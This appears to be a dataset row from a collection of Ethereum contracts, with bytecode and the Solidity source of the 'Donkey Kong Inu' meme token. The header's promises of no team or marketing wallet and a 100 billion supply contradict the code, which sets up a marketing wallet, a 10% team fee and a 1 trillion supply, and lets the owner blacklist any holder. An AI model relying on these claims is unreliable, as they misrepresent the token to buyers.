60018111156106b557fe5b60ff16815260200191505060405180910390f35b3480156106d557600080fd5b506106de610f00565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072c57600080fd5b5061076b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f26565b604051808215151515815260200191505060405180910390f35b34801561079157600080fd5b506107e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd1565b6040518082815260200191505060405180910390f35b34801561080857600080fd5b5061083d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611058565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108d55780601f106108aa576101008083540402835291602001916108d5565b820191906000526020600020905b8154815290600101906020018083116108b857829003601f168201915b505050505081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561097757600a54421015801561096b575060018081111561094e57fe5b600b60009054906101000a900460ff16600181111561096957fe5b145b151561097657600080fd5b5b6109818383611300565b5092915050565b6000600154905090565b600a5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610a3257600a544210158015610a265750600180811115610a0957fe5b600b60009054906101000a900460ff166001811115610a2457fe5b145b1515610a3157600080fd5b5b610a3d8484846113f2565b509392505050565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa757600080fd5b60006001811115610ab457fe5b600b60009054906101000a900460ff166001811115610acf57fe5b141515610adb57600080fd5b6001600b60006101000a81548160ff02191690836001811115610afa57fe5b02179055506303c267004201600a819055507f1cdde67b72a90f19919ac732a437ac2f7a10fc128d28c2a6e525d89ce5cd9d3a60405160405180910390a1565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610bd457600a544210158015610bc85750600180811115610bab57fe5b600b60009054906101000a900460ff166001811115610bc657fe5b145b1515610bd357600080fd5b5b610bde83836117ac565b5092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e3a5780601f10610e0f57610100808354040283529160200191610e3a565b820191906000526020600020905b815481529060010190602001808311610e1d57829003601f168201915b505050505081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610edc57600a544210158015610ed05750600180811115610eb357fe5b600b60009054906101000a900460ff166001811115610ece57fe5b145b1515610edb57600080fd5b5b610ee68383611a3e565b5092915050565b600b60009054906101000a900460ff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610fc057600a544210158015610fb45750600180811115610f9757fe5b600b60009054906101000a900460ff166001811115610fb257fe5b145b1515610fbf57600080fd5b5b610fca8383611c5d565b5092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110b457600080fd5b611165600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5990919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fd81611e77565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142f57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561147c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561150757600080fd5b611558826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115eb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116bc82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831015156118be576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611952565b6118d18382611fcf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a7b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ac857600080fd5b611b19826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcf90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bac826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611cee82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611e6d57fe5b8091505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ed357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f0f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611fdd57fe5b8183039050929150505600a165627a7a723058206820198ecef188c6f44c2e299ade56ba9bb84a61c0dafd3583469e1da98b85050029 | {"success": true, "error": null, "results": {}} | 929 |
0xf1838fea06122e9c91ed7083d500ccc478e7584a | /*
/*
DONKEY KONG INU
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. After a 15% burn, 85% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community. This is in my eyes, illegal!
4. A fast growing community that has a passion for ERC20 meme tokens!
Token Information
1. 100,000,000,000 Total Supply
2. 15% Burned
3. Developer provides LP
4. Buy limit/cool down
5. Fair launch for everyone!
6. 5% redistribution to holders
7. 10% developer fee split within the team
Join our telegram: https://t.me/DonkeyKongInu
Good luck on launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DonkeyKongInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Donkey Kong Inu";
string private constant _symbol = '$DONKINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ef2565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a15565b61045e565b6040516101789190612ed7565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613094565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129c6565b61048d565b6040516101e09190612ed7565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612938565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613109565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a92565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612938565b610783565b6040516102b19190613094565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e09565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ef2565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a15565b61098d565b60405161035b9190612ed7565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a51565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ae4565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061298a565b61121a565b6040516104189190613094565b60405180910390f35b60606040518060400160405280600f81526020017f446f6e6b6579204b6f6e6720496e750000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137cd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fd4565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fd4565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fd4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f24444f4e4b494e55000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fd4565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133aa565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fd4565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613054565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000f